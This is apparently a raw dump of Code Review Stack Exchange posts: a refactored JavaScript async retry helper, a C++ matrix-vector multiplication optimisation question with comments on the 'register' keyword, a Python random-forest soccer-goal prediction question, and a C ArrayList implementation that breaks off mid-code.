taskFn();\n }\n catch(err){\n allErrors.push(err);\n logFailure(err);\n notifyFailure(err);\n }\n } while( shouldWeContinueRetrying() );\n\n throw createFinalError({\n message: `Operation failed after ${retries} retries. ` + \n `Last error message: ${allErrors[allErrors.length-1].message}`,\n code: `RTRY_FAIL`,\n allErrors, \n })\n\n // -------------------------------------\n // ---------- UTILS / VERBS ------------\n // -------------------------------------\n function notifyFailure(err){\n if ( onFailedAttempt ){\n onFailedAttempt(err, attempt, retries);\n }\n }\n\n function logFailure(err){\n logDebug(`Trial ${attempt}/${retries} failed with reason: ${err.message}`);\n }\n\n async function runDelay({ skipDelay }){\n if ( skipDelay ) return;\n if ( !delay ) return;\n \n const millis = 'function' === typeof delay ? delay(attempt, retries) : delay;\n logDebug(`Retrying in ${millis}ms...`);\n await bluebird.delay(millis);\n }\n\n function shouldWeContinueRetrying(){\n return attempt &lt; retries;\n }\n\n function createFinalError({ message, code, allErrors}){\n const error = new Error(message);\n error.code = code;\n error.allErrors = allErrors;\n return error;\n }\n\n function _logDebug(msg){\n if ('undefined' == typeof window) return;\n if (!window.verbose ) return;\n console.debug(msg);\n }\n\n }\n</code></pre>\n<p>So let's start with the main loop:</p>\n<ul>\n<li>in previous variants of code there was this nesting (<code>if</code>s mostly) due to which my eye had difficulty grasping what is the core logic of the main loop</li>\n<li>here I attempt to show that main loop is trivially simple <code>runDelay() and calling taskFn()</code></li>\n<li>looking at catch clause: my intention was to show that there are just 3 conceptual operations involved in catching error: saving all errors, logging, notifying. 3 simple trivial steps.</li>\n<li>you can also notice that I am saving all of the errors. In previous code only lastError was saved, but actually it almost doesn't cost us anything to save all errors instead of last one (eg. for troubleshooting; I admit it is not a very important change, but it was easy and makes me happy)</li>\n<li>I introduced logFailure() because conceptually it fits perfectly with how mind is thinking about this step: failure will be logged there. The 'How' aka 'implementation' is not important. It could be console, it could be winston or ignore</li>\n<li>when I typed <code>logFailure(err)</code> it came out almost naturally to type below <code>notifyFailure(err)</code> also because those two steps align perfectly with how mind conceptualizes what actually should happen there. (And same here: how exactly notification happens, via direct function call or EventEmitter instance doesn't matter; what matters is the conceptual step of {notifying about failure}).</li>\n<li>I suspect that readers may not like the <code>while( shouldWeContinueRetrying() )</code> when it could be simply replaced by <code>while( attempt &lt; retries )</code> ! In this case I fully admit that abstracting here was an overkill. I also admit that it is part of my &quot;personal coding style&quot; to create small &quot;conceptual functions&quot; (which internally refer to as 'verbs') and then compose code out of them. So let me know what you think here and whether it was confusing or if you think it's an overkill.</li>\n<li>Whether you liked my approach or think it looks ugly, my intention was to make main loop as compact and succinct as possible. And in my intention to make main loop logic straightforward: I even used the <code>skipDelay</code> trick to avoid using <code>if</code>.\nSo instead of <code>if ( attempt !== 1 ) await runDelay()</code> I used:\n<code>await runDelay({ skipDelay: attempt === 1})</code>. With actual if hidden within <code>runDelay</code>. I admit that this is part of &quot;my personal coding style&quot; and would welcome any thoughts and feedbacks. If it is something you use and if you see ways to improve that.</li>\n</ul>\n<pre><code> let attempt = 0;\n let allErrors = [];\n\n do{\n attempt++;\n try{\n await runDelay({ skipDelay: attempt === 1});\n return await taskFn();\n }\n catch(err){\n allErrors.push(err);\n logFailure(err);\n notifyFailure(err);\n }\n } while( shouldWeContinueRetrying() );\n</code></pre>\n<hr />\n<p>Function main logic finishes with throwing an error:</p>\n<pre><code>// .... omitted .... \n} while( shouldWeContinueRetrying() );\n\n throw createFinalError({\n message: `Operation failed after ${retries} retries. ` + \n `Last error message: ${allErrors[allErrors.length-1].message}`,\n code: `RTRY_FAIL`,\n allErrors, \n })\n</code></pre>\n<p>After the main loop I wanted to have one visually apparent &quot;return value&quot; (which in our case is an error thrown), exactly like in Louis Coulet's original code. Whilst <code>throw lastError</code> is perfect, but as I decided to store {all errors}, I had problem of concisely assembling this custom error object.</p>\n<p>As I wanted code to fit well into StackExchange answer (and fit into single file) I didn't want to declare my own custom error in separate file. If opted for custom Error class I could throw with succinct <code>throw new FailedAllRetriesError(</code>Operationfailed<code>, 'RTRY_FAIL</code>, allErrors)`. So the second best thing was just to throw using 'factory function'.</p>\n<p>I am neither happy nor unhappy with this error throwing. The main point here was to clearly show &quot;return value&quot; (error thrown) upon exit of the function.</p>\n<p>Before I jump into actual <strong>verbs,</strong> let me quickly clear air around 2 boring utility functions:</p>\n<pre><code> // simply factory function which is meant to make \n // call to createFinalError() more concise\n function createFinalError({ message, code, allErrors}){\n const error = new Error(message);\n error.code = code;\n error.allErrors = allErrors;\n return error;\n }\n\n // This is encapsulation of 'logging a message',\n // as you can see from the first lines of the function \n //\n // export async function retry({ ...... , logDebug = null }) {\n // logDebug = logDebug || _logDebug;\n // \n // Caller can pass alternative to logDebug() implementation\n // and hence customize logging logic\n function _logDebug(msg){\n if ('undefined' == typeof window) return;\n if (!window.verbose ) return;\n console.debug(msg);\n }\n</code></pre>\n<h3><strong>The Verbs</strong></h3>\n<p>Now the most interesting part.</p>\n<p>There are 4 what I refer to as 'verb functions'. They are named after 'conceptual steps' which our little algorithm is comprised of.</p>\n<p>Note that:</p>\n<ul>\n<li>notifyFailure - has same functionality as OP</li>\n<li>logFailure - I think I found bug and fixed it</li>\n<li>runDelay - I added new functinality: <code>delay</code> parameter passed to <code>retry()</code> can now be a function returning delay period in milliseconds.</li>\n</ul>\n<pre><code>// This is 'verb' for {notifying about failure}\n// All it does is simply dispatches onXX hook function passed\n// as function option, but nothing prohibits is from dispatching \n// it via EventEmtiter or other mechanism in the future. \nfunction notifyFailure(err){\n if ( onFailedAttempt ){\n onFailedAttempt(err, attempt, retries);\n }\n}\n\n// This is simplest 'verb' it simply logs failure \n// (by delegating to whatever logging mechanism is wired to logDebug()\n\n// However note:that I have _removed_ logging of the delay! \n// Check out original line:\n//\n// console.debug(\n// `Trial ${attempt + 1}/${retries} failed. Retrying in ${delayMs}ms...`\n// );\n//\n// It turns out that logging delay and logging error are two separate tasks\n// and unless my mind plays tricks on me, I spotted bug in \n// both Lous and sg7610 variations where \n// '... Retrying in ${delayMs}ms...' would be logged \n// even after last attempt failed when there will be no actual retry or waiting.\nfunction logFailure(err){\n logDebug(`Trial ${attempt}/${retries} failed with reason: ${err.message}`);\n}\n\nasync function runDelay({ skipDelay }){\n // This is the trick I used to pull 'if' from the caller to inside of 'runDelay()`\n // I created this `runDelay`verb in order \n // so that I can locally make it 'smarter' \n \n if ( skipDelay ) return;\n\n // This is another attempt to clear call site. Instead of guarding\n // against delay at callsite, it is guarded here. \n if ( !delay ) return;\n\n // Below I added NEW FUNCTIONALITY\n // Now `delay` parameter can be a function. Which will be called\n // to get next value of the delay period in milliseconds. \n\n // This can be used to create eg. 'Exponential backoff' during retries.\n const millis = 'function' === typeof delay ? delay(attempt, retries) : delay;\n // Also notice that {delay logging} is now inside actual runDelay()\n logDebug(`Retrying in ${millis}ms...`);\n await bluebird.delay(millis);\n}\n\n// I already mentioned that you may probably see shouldWeContinueRetrying() \n// as an overkill, but in my mind it is still such a clearly defined \n// conceptual step that it deserves being manifested as function in the code;\n// I doesn't feel too guilty about this one :)\nfunction shouldWeContinueRetrying(){\n return attempt &lt; retries;\n}\n</code></pre>\n<p>So this is my take on the original function implementation. Let me know which parts you would change, which you think were helpful to you and which were controversial. I do recognize that at of of 'local functions' is part of my personal coding style, and very curious to see what you would make out of it.</p>\n<p>I have made <a href=\"http://replit.com\" rel=\"nofollow noreferrer\">replit.com</a> nodeJS package for it. You can run it by running <code>npm start</code> from the &quot;Shell&quot; tab on the right. (Just pressing 'Run' button didn't work for me). See the link to replit below:</p>\n<p><a href=\"https://replit.com/join/qneqgpuu-dimitrykireyenk\" rel=\"nofollow noreferrer\">https://replit.com/join/qneqgpuu-dimitrykireyenk</a></p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-22T06:34:01.407", "Id": "512647", "Score": "1", "body": "Welcome to CodeReview! Whenever you post an alternative solution please try to share with us what sort of benefits does it have over the OP's solution." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-22T19:40:14.993", "Id": "512775", "Score": "0", "body": "@PeterCsala thank you! I will update the post to include benefits!" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-08T19:21:03.443", "Id": "259253", "ParentId": "257457", "Score": "0" } } ]
{ "AcceptedAnswerId": "257573", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T22:28:35.640", "Id": "257457", "Score": "3", "Tags": [ "javascript", "async-await" ], "Title": "Simple retrier of async function" }
257457
<p>I know this piece of code is quite strange, but it does its job very well performance-wise , reducing the running time of a very computation intensive operation by 3 - 5 times without using a better algorithm. But since the code using the controversal keyword <code>register</code> and I use pointer arithmetic quite unsafe (in my opinion), I would like to hear opinions of other people.</p> <p>A bit about the requirements: since the project is a research project with emphasis on simplicity, we do not want to use a linear algebra library like <code>Eigen3</code> or <code>Blas</code> or any standard library of C++ at all. It should also not employ any other algorithm rather than the school method of matrix vector multiplication, because we would want to focus on the hardware.</p> <p>My question is, is this kind of code oftenly seen in the wild and is considered normal? How can I optimize this code further?</p> <p>I would appreciate every constructive feedback.</p> <pre><code>/** * Multiply matrix with vector * * Matrix is transposed. Hence we can do row-wise inner product. * * @param matrix (n x m) * @param vector (1 x m) * @param output (1 x n) * @param input_height_ n * @param input_width_ m */ void matrix_vector_multiply(float *matrix, float *vector, float *output, uint32_t input_height_, uint32_t input_width_) { /** * The functional principle of this code block is very simple. We iterate 4 rows parallel. * * With this trick, we only have to fetch the vector's data once and effectively reuse the vector. * * We used the keyword register to give the compiler hint which variable we would love to keep on the CPU register. * * Since CPU registers are rare, we really want to use it where it needs to be. Since we want to put them all on registers, we will utilize only 4 rows at once. * * Also the register keyword is only a hint to the compiler, which can be completely ignored. */ register uint32_t input_height = input_height_; register uint32_t input_width = input_width_; // Put the needed data into a registered variable // // We will obtain a higher chance for the compiler to optimize our code better register float * output_ptr = output; register float * input_ptr = matrix; /** * Using blocked data only if we have more than 4 rows, everything else would be * a waste of overhead */ if(input_height &gt; 4 &amp;&amp; input_width &gt; 4) { uint32_t y = 0; // Four at once for (; y &lt; input_height - 4; y += 4) { // Since we iterate the vector_ptr manually for higher cache locality, we have to reset it every loop register float * vector_ptr = vector; // Load the data from matrix into four rows register float *input_cols_ptr1 = input_ptr; input_ptr += input_width; register float *input_cols_ptr2 = input_ptr; input_ptr += input_width; register float *input_cols_ptr3 = input_ptr; input_ptr += input_width; register float *input_cols_ptr4 = input_ptr; input_ptr += input_width; // Result for each row register float product0 = 0; register float product1 = 0; register float product2 = 0; register float product3 = 0; for (uint32_t x = 0; x &lt; input_width; x++) { // Picking the value of the vector at the position register float vector_val = *vector_ptr++; product0 += vector_val * *input_cols_ptr1++; product1 += vector_val * *input_cols_ptr2++; product2 += vector_val * *input_cols_ptr3++; product3 += vector_val * *input_cols_ptr4++; } // Store the result *output_ptr++ += product0; *output_ptr++ += product1; *output_ptr++ += product2; *output_ptr++ += product3; } // Processing the rest columns for (; y &lt; input_height; y++, output_ptr++) { register float * vector_ptr = vector; for (uint32_t x = 0; x &lt; input_width; x++) { *output_ptr += *vector_ptr++ * *input_ptr++; } } /** * Everything else goes into this. */ } else { for (register uint32_t y = 0; y &lt; input_height; y++, output_ptr++) { register float * vector_ptr = vector; for (register uint32_t x = 0; x &lt; input_width; x++) { *output_ptr += *vector_ptr++ * *input_ptr++; } } } } </code></pre> <p>The original code looked like this</p> <pre><code>void gemm(const float *matrix, const float *vector, float *output, uint32_t input_height, uint32_t input_width) { #pragma omp parallel for for (uint32_t y = 0; y &lt; input_height; y++) { float sum = 0.0f; const float * row = matrix + y * input_width; for (uint32_t x = 0; x &lt; input_width; x++) { sum += vector[x] * row[x]; } output[y] += sum; } } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T01:19:27.423", "Id": "508545", "Score": "3", "body": "The `register` keyword doesn't do anything in C++, and in fact has been removed from C++17. See what happens when you remove all the `register` keywords: https://godbolt.org/z/zPYsdq (Nothing happens.)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T06:15:06.287", "Id": "508549", "Score": "0", "body": "So effectively you are trying to unroll the loop - i.e. you do more calculations per loop by not re-reading the vector .. AND you are just stepping thru the array, rather than indexing (which requires a calculation to find the indexed location) .. Did you consider perhaps utilizing the vector hardware - https://stackoverflow.blog/2020/07/08/improving-performance-with-simd-intrinsics-in-three-use-cases/ - look at dot product. Funnily enough your requirement \"emphasis on simplicity\" would to most people not imply rolling your own for library functions ..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T09:03:19.967", "Id": "508552", "Score": "1", "body": "Unrolling the loop manually doesn't help at all. The compiler is much better at this than any of us. One only needs to be aware of some conditions that might make unrolling impossible. I really don't see any within the code that could cause issues. And as mentioned `register` is but a suggestion to the compiler - nowadays compilers are much better at figuring out which values should be stored in the register so that `register` keyword is probably completely ignored." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T09:06:52.720", "Id": "508553", "Score": "0", "body": "If you wanted to improve the performance you'd better utilize SIMD instructions. It should be achievable by simply writing a few pragmas if your compiler is advanced enough." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T10:44:00.110", "Id": "508557", "Score": "0", "body": "@ALX23z would you be so kind and give some examples?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T10:44:55.813", "Id": "508558", "Score": "0", "body": "@MrR I utilized ARM Neon instrisics but did not achieve a significant better performance than the current version" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T10:55:01.290", "Id": "508560", "Score": "0", "body": "You have to do a bit more to get vector usage on arm/gcc - https://community.arm.com/developer/tools-software/tools/b/tools-software-ides-blog/posts/making-the-most-of-the-arm-architecture-in-gcc-10" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T11:28:34.340", "Id": "508564", "Score": "0", "body": "@Quuxplusone it is true that `register` does nothing up from C++17, but for my case C++11 with an ARM compiler, it does in fact make a very big difference: without `register` https://godbolt.org/z/T1e8qT, with `register` https://godbolt.org/z/nv9Exr" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T11:42:39.753", "Id": "508565", "Score": "0", "body": "@MrR thanks I will into the link and return" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T17:49:16.950", "Id": "508579", "Score": "1", "body": "\"but for my case C++11 with an ARM compiler, it does in fact make a very big difference\" — The big difference between the Godbolts you posted isn't `register`, it's ARM vs. ARM64. Here's `register` vs. non-register side by side on ARM64: https://godbolt.org/z/MooMce And here's side by side on ARM: https://godbolt.org/z/azvhrM See? `register` makes no difference." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T18:49:44.557", "Id": "508581", "Score": "1", "body": "@Quuxplusone indeed. Thanks, that was such a gross mistake of me" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "11", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T23:38:01.317", "Id": "257459", "Score": "0", "Tags": [ "c++", "performance", "c++11", "matrix" ], "Title": "Optimizing matrix vector multiplication with keyword \"register\" and unsafe pointer arithmetic" }
257459
<p>I am using RandomForestRegressor to predict a set of soccer matches to predict the number of goals scored for a given match/set of matches is as below:</p> <pre><code> dte.head() HomeTeam AwayTeam B365H B365D B365A FTHG FTAG -- -------------- ---------- ------- ------- ------- ------ ------ 0 Leeds Chelsea 4.8 3.9 1.68 nan nan 1 Crystal Palace West Brom 2.28 3 3.4 nan nan 2 Everton Burnley 1.95 3.2 4.2 nan nan 3 Fulham Man City 10.5 5 1.3 nan nan 4 Southampton Brighton 2.9 3.05 2.55 nan nan dtr.head() HomeTeam AwayTeam FTHG FTAG -- -------------- ----------- ------ ------ 0 Fulham Arsenal 0 3 1 Crystal Palace Southampton 1 0 2 Liverpool Leeds 4 3 3 West Ham Newcastle 0 2 4 West Brom Leicester 0 3 def encode_features(df_train, df_test): features = ['HomeTeam', 'AwayTeam'] df_combined = pd.concat([df_train[features], df_test[features]]) for feature in features: le = preprocessing.LabelEncoder() le = le.fit(df_combined[feature]) df_train[feature] = le.transform(df_train[feature]) df_test[feature] = le.transform(df_test[feature]) return df_train, df_test dtr, dte = encode_features(dtr, dte) dtr_g = dtr.loc[:, dte.columns.intersection( ['HomeTeam', 'AwayTeam', 'FTHG', 'FTAG', 'B365H', 'B365D', 'B365A'])] dte_g = dte.loc[:, dte.columns.intersection( ['HomeTeam', 'AwayTeam', 'FTHG', 'FTAG', 'B365H', 'B365D', 'B365A'])] dtr_g_h = dtr_g.drop(['FTAG'], axis=1) dtr_g_a = dtr_g.drop(['FTHG'], axis=1) dte_g = dte_g.drop(['FTHG', 'FTAG'], axis=1) dte_g = dte_g.dropna() # Encoding string features def encode_features(df_train, df_test): features = ['HomeTeam', 'AwayTeam'] df_combined = pd.concat([df_train[features], df_test[features]]) for feature in features: le = preprocessing.LabelEncoder() le = le.fit(df_combined[feature]) df_train[feature] = le.transform(df_train[feature]) df_test[feature] = le.transform(df_test[feature]) return df_train, df_test dtr, dte = encode_features(dtr, dte) # After Encoding dte_g.head() HomeTeam AwayTeam B365H B365D B365A Month Weekend/Weekday -- ---------- ---------- ------- ------- ------- ------- ----------------- 0 271 114 4.8 3.9 1.68 3 2 1 134 495 2.28 3 3.4 3 2 2 170 88 1.95 3.2 4.2 3 2 3 194 297 10.5 5 1.3 3 2 4 429 83 2.9 3.05 2.55 3 1 dtr_g_h.head() HomeTeam AwayTeam B365H B365D B365A Month FTHG Weekend/Weekday -- ---------- ---------- ------- ------- ------- ------- ------ ----------------- 0 194 33 6 4.33 1.53 9 0 1 1 134 428 3.1 3.25 2.37 9 1 1 2 282 271 1.28 6 9.5 9 4 1 3 497 326 2.15 3.4 3.4 9 0 1 4 496 273 3.8 3.6 1.95 9 0 1 dtr_g_a.head() HomeTeam AwayTeam B365H B365D B365A Month FTAG Weekend/Weekday -- ---------- ---------- ------- ------- ------- ------- ------ ----------------- 0 194 33 6 4.33 1.53 9 3 1 1 134 428 3.1 3.25 2.37 9 0 1 2 282 271 1.28 6 9.5 9 3 1 3 497 326 2.15 3.4 3.4 9 2 1 4 496 273 3.8 3.6 1.95 9 3 1 # Predicing Goals X_g_h = dtr_g_h.drop(['FTHG'], axis=1) y_g_h = dtr_g_h['FTHG'] X_g_a = dtr_g_a.drop(['FTAG'], axis=1) y_g_a = dtr_g_a['FTAG'] print(&quot;Splitting for Home&quot;) train_X_g_h, val_X_g_h, train_y_g_h, val_y_g_h = train_test_split(X_g_h, y_g_h, test_size=0.2, random_state=1) print(&quot;Splitting for away goals&quot;) train_X_g_a, val_X_g_a, train_y_g_a, val_y_a = train_test_split(X_g_a, y_g_a, test_size=0.2, random_state=1) print(&quot;Running Random Forest model&quot;) rf_model_on_full_data_g_h = RandomForestRegressor() rf_model_on_full_data_g_a = RandomForestRegressor() print(&quot;Fitting for home goals&quot;) rf_model_on_full_data_g_h.fit(X_g_h, y_g_h) rf_model_on_full_data_g_a.fit(X_g_a, y_g_a) print(&quot;Predicting goals for Home Team&quot;) test_preds_h_g = rf_model_on_full_data_g_h.predict(dte_g) print(&quot;Predicting goals for Away Team&quot;) test_preds_a_g = rf_model_on_full_data_g_a.predict(dte_g) result = pd.DataFrame({ 'League': dte_input.League, 'Match DateTime': dte_input.DateTime, 'Home Team': dte_input.HomeTeam, 'Away Team': dte_input.AwayTeam, 'Full time Home Goals': test_preds_h_g, 'Full time Away Goals': test_preds_a_g, }) result.head(): | | League | Match DateTime | Home Team | Away Team | Full time Home Goals | Full time Away Goals | |-----|------------------------|----------------------------|--------------------|---------------------|------------------------|------------------------| | 0 | English Premier League | 2021-03-12 23:00:00.000001 | Leeds | Chelsea | 1.23 | 1.84 | | 1 | English Premier League | 2021-03-12 23:00:00.000001 | Crystal Palace | West Brom | 1.65 | 1.13 | | 2 | English Premier League | 2021-03-12 23:00:00.000001 | Everton | Burnley | 1.4 | 0.73 | | 3 | English Premier League | 2021-03-12 23:00:00.000001 | Fulham | Man City | 0.59 | 2.35 | | 4 | English Premier League | 2021-03-13 23:00:00.000001 | Southampton | Brighton | 1.34 | 1.36 | | 5 | English Premier League | 2021-03-13 23:00:00.000001 | Leicester | Sheffield United | 1.75 | 0.92 | | 6 | English Premier League | 2021-03-13 23:00:00.000001 | Arsenal | Tottenham | 1.37 | 1.19 | </code></pre> <p>My queston is predominantly:</p> <ol> <li>Am I applying the regression correctly? I am getting an output which (within the understanding of soccer matches and its outcome boundaries) is acceptable to real world output. How it comes together; I am partially aware of it.</li> <li>If I can understand it in layman terms, I am asking the question: 1- Predict Home team goals when two teams are playing based on historical data. 2. Predict the Away team goals in the same manner. But, these are discreet questions which are answered discreetly while the soccer event is not discreete but dynamic.(I can probably word this better definitely) Am I approaching this problem corrctly?</li> <li>Is there any way I can use <code>.predict</code> in a manner that I can get the HomeTeam and AwayTeam predictions at the same time? (AFAIK <code>.predict</code> can be only used for one variable, not multi variables)</li> </ol> <p>If I apply <code>GridsearchCV</code>, the results dont improve (wrt real world comparison) hence there is no value in the processing resources/result tradeoff. Can I improve on this algorithim/apply better <code>sklearn.predict</code> options?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-07-16T20:53:43.593", "Id": "521652", "Score": "0", "body": "Can I see the full code? Some of the dataframes are not defined..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-07-17T02:08:39.570", "Id": "521662", "Score": "0", "body": "I have since changed the code and thus use updated dataframes.. however the question remains same and unanswered. lol. Also, to answer your question and with CR principles,, I will dig into archives and edit the question to help answer it." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T03:35:07.990", "Id": "257462", "Score": "0", "Tags": [ "python", "performance" ], "Title": "My implementation of RandomForestRegressor application to predict soccer goals" }
257462
<p>I have written a ArrayList class in C and I just wanted some criticism on what I can improve on. Any criticism helps, and I was wondering if there is any better way of doing error handling other than returning a enum.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;stdint.h&gt; #include &lt;string.h&gt; #include &lt;stdbool.h&gt; #include &lt;errno.h&gt; #define ARRAY_LIST_DEFAULT_SIZE 5 #define RESIZE_MULTIPLIER 2 typedef struct arraylist_t { void *array; size_t sizeOfElement; uint32_t sizeOfArray; uint32_t lengthOfArray; int32_t (*defaultCompare)(const void *, const void *); void (*defaultPrint)(const void *); }ArrayList; enum data_structure_error{ E_SUCCESS = 0, E_FAIL = -1, E_MEMORY_FAIL = -2, E_VAR_UNINI = -3, E_VAR_TO_SMALL = -4, E_OUT_OF_BOUNDS = -5, E_PRINT_UNINI = -6, E_COMPARE_UNINI = -7 }; struct data_structure_errordesc{ const int32_t code; const char *message; }; const struct data_structure_errordesc errordesc[] = { {E_SUCCESS, &quot;No error&quot; }, {E_FAIL, &quot;PANIC!!!!&quot; }, {E_MEMORY_FAIL, &quot;Could not allocate memory&quot;}, {E_VAR_UNINI, &quot;The variable passed in is uninitialized&quot;}, {E_VAR_TO_SMALL, &quot;The variable passed in is too small to hold data&quot;}, {E_OUT_OF_BOUNDS, &quot;Value passed in was out of bounds&quot;}, {E_PRINT_UNINI, &quot;The default and the passed in print is NULL&quot;}, {E_COMPARE_UNINI, &quot;The default and the passed in compare in NULL&quot;} }; void arraylist_error(enum data_structure_error error) { uint32_t i; for(i = 0; i &lt; sizeof(errordesc) / sizeof(errordesc[0]); i++) { if(error == errordesc[i].code) { printf(&quot;%s&quot;, errordesc[i].message); return; } } } enum data_structure_error arraylist_create(ArrayList ** const user_list, const size_t size_of_element, int32_t (*compare)(const void *, const void *), void (*print)(const void *)) { /*making 1 struct of type ArrayList*/ ArrayList *list; if(user_list == NULL) goto FAIL0; list = malloc(sizeof(*list)); if(list == NULL) goto FAIL1; /*making an array of void pointers*/ list-&gt;array = malloc(size_of_element * ARRAY_LIST_DEFAULT_SIZE); if(list-&gt;array == NULL) goto FAIL1; /*setting all default values of ArrayList struct*/ list-&gt;sizeOfElement = size_of_element; list-&gt;sizeOfArray = 0; list-&gt;lengthOfArray = ARRAY_LIST_DEFAULT_SIZE; list-&gt;defaultCompare = compare; list-&gt;defaultPrint = print; *user_list = list; return E_SUCCESS; FAIL0: return E_VAR_UNINI; FAIL1: free(list); return E_MEMORY_FAIL; } enum data_structure_error arraylist_clear(ArrayList * const list) { if(list == NULL) return E_VAR_UNINI; list-&gt;sizeOfArray = 0; } enum data_structure_error arraylist_clone(const ArrayList * const list, ArrayList ** const new_list) { if(list == NULL) goto FAIL0; /*create an ArrayList struct*/ *new_list = malloc(sizeof(**new_list)); if(*new_list == NULL) goto FAIL1; /*copy data to new struct*/ memcpy(*new_list, list, sizeof(**new_list)); /*allocate space for new array in the new struct*/ (*new_list)-&gt;array = malloc(list-&gt;sizeOfElement * list-&gt;lengthOfArray); if((*new_list)-&gt;array == NULL) goto FAIL1; /*copy the data from the old array to new array*/ memcpy((*new_list)-&gt;array, list-&gt;array, list-&gt;sizeOfElement * list-&gt;sizeOfArray); FAIL0: return E_VAR_UNINI; FAIL1: free(*new_list); return E_MEMORY_FAIL; } enum data_structure_error arraylist_size(const ArrayList * const list, uint32_t * const size) { if(list == NULL) return E_VAR_UNINI; *size = list-&gt;sizeOfArray; } enum data_structure_error arraylist_isempty(const ArrayList * const list, bool * const empty) { if(list == NULL) return E_VAR_UNINI; *empty = list-&gt;sizeOfArray == 0 ? 1 : 0; } enum data_structure_error arraylist_set_compare(ArrayList * const list, int32_t (*compare)(const void *, const void *)) { if(list == NULL) return E_VAR_UNINI; list-&gt;defaultCompare = compare; } enum data_structure_error arraylist_set_print(ArrayList * const list, void (*print)(const void *)) { if(list == NULL) return E_VAR_UNINI; list-&gt;defaultPrint = print; } enum data_structure_error arraylist_print_index(const ArrayList * const list, void(*print)(const void *), const uint32_t index) { uint8_t *array; void *temp_storage; /*error checking*/ if(list == NULL) goto FAIL0; else if(print == NULL &amp;&amp; list-&gt;defaultPrint == NULL) goto FAIL1; temp_storage = malloc(list-&gt;sizeOfElement); if(temp_storage == NULL) goto FAIL2; /*Get the data from the array*/ array = list-&gt;array; memcpy(temp_storage, array + index * list-&gt;sizeOfElement, list-&gt;sizeOfElement); /*call the correct print function*/ if(print == NULL) list-&gt;defaultPrint(temp_storage); else print(temp_storage); free(temp_storage); return E_SUCCESS; FAIL0: return E_VAR_UNINI; FAIL1: return E_PRINT_UNINI; FAIL2: return E_MEMORY_FAIL; } enum data_structure_error arraylist_print(const ArrayList * const list, void(*print)(const void *)) { uint32_t i; uint8_t *array; void *temp_storage; /*error checking*/ if(list == NULL) goto FAIL0; else if(print == NULL &amp;&amp; list-&gt;defaultPrint == NULL) goto FAIL1; /*allocate temp storage*/ temp_storage = malloc(list-&gt;sizeOfElement); if(temp_storage == NULL) goto FAIL2; /*copying pointer of array*/ array = list-&gt;array; /*loop through array and call the correct print function*/ for(i = 0; i &lt; list-&gt;sizeOfArray; i++) { memcpy(temp_storage, (array + i * list-&gt;sizeOfElement), list-&gt;sizeOfElement); if(print == NULL) list-&gt;defaultPrint(temp_storage); else print(temp_storage); } free(temp_storage); return E_SUCCESS; FAIL0: return E_VAR_UNINI; FAIL1: return E_PRINT_UNINI; FAIL2: return E_MEMORY_FAIL; } static enum data_structure_error arraylist_resize(ArrayList * const list) { void *new_array; /*try to allocate more memory for the array*/ new_array = realloc(list-&gt;array, list-&gt;sizeOfElement * list-&gt;lengthOfArray * RESIZE_MULTIPLIER); if(new_array == NULL) goto FAIL0; /*update the struct*/ list-&gt;array = new_array; list-&gt;lengthOfArray = list-&gt;lengthOfArray * RESIZE_MULTIPLIER; return E_SUCCESS; FAIL0: return E_MEMORY_FAIL; } enum data_structure_error arraylist_add_index(ArrayList * const list, const void * const ptr_to_data, const uint32_t index) { uint8_t *array; uint8_t *array_two; enum data_structure_error error = E_SUCCESS; /*error handeling*/ if(list == NULL || ptr_to_data == NULL) goto FAIL0; else if(index &gt; list-&gt;sizeOfArray) goto FAIL1; else if(list-&gt;sizeOfArray &gt;= list-&gt;lengthOfArray) { error = arraylist_resize(list); if(error != E_SUCCESS) goto FAIL2; } /*copying pointer of array*/ array = array_two = list-&gt;array; /*the spot where the new value will be inserted*/ array = array + list-&gt;sizeOfElement * index; /*the spot where all the elements will be shifted to*/ array_two = array_two + list-&gt;sizeOfElement * (index + 1); /*shifting elements*/ memmove(array_two, array, list-&gt;sizeOfElement * (list-&gt;sizeOfArray - index)); /*inserting value*/ memcpy(array, ptr_to_data, list-&gt;sizeOfElement); list-&gt;sizeOfArray++; FAIL0: return E_VAR_UNINI; FAIL1: return E_OUT_OF_BOUNDS; FAIL2: return error; } enum data_structure_error arraylist_add_all_index(ArrayList * const list, const void * const ptr_to_array_data, const uint32_t length, const uint32_t index) { uint8_t *array; uint8_t *array_two; enum data_structure_error error = E_SUCCESS; /*error checking*/ if(list == NULL || ptr_to_array_data == NULL) goto FAIL0; else if(index &gt; list-&gt;sizeOfArray) goto FAIL1; else if(list-&gt;sizeOfArray &gt;= list-&gt;lengthOfArray) { error = arraylist_resize(list); if(error != E_SUCCESS) goto FAIL2; } /*making sure array has enough space*/ while(length &gt;= list-&gt;lengthOfArray - list-&gt;sizeOfArray) { error = arraylist_resize(list); if(error != E_SUCCESS) goto FAIL2; } /*copying pointer of array*/ array = array_two = list-&gt;array; /*the spot where the new value/values will be inserted*/ array = array + list-&gt;sizeOfElement * index; /*the spot where all the values will be shifted*/ array_two = array_two + list-&gt;sizeOfElement 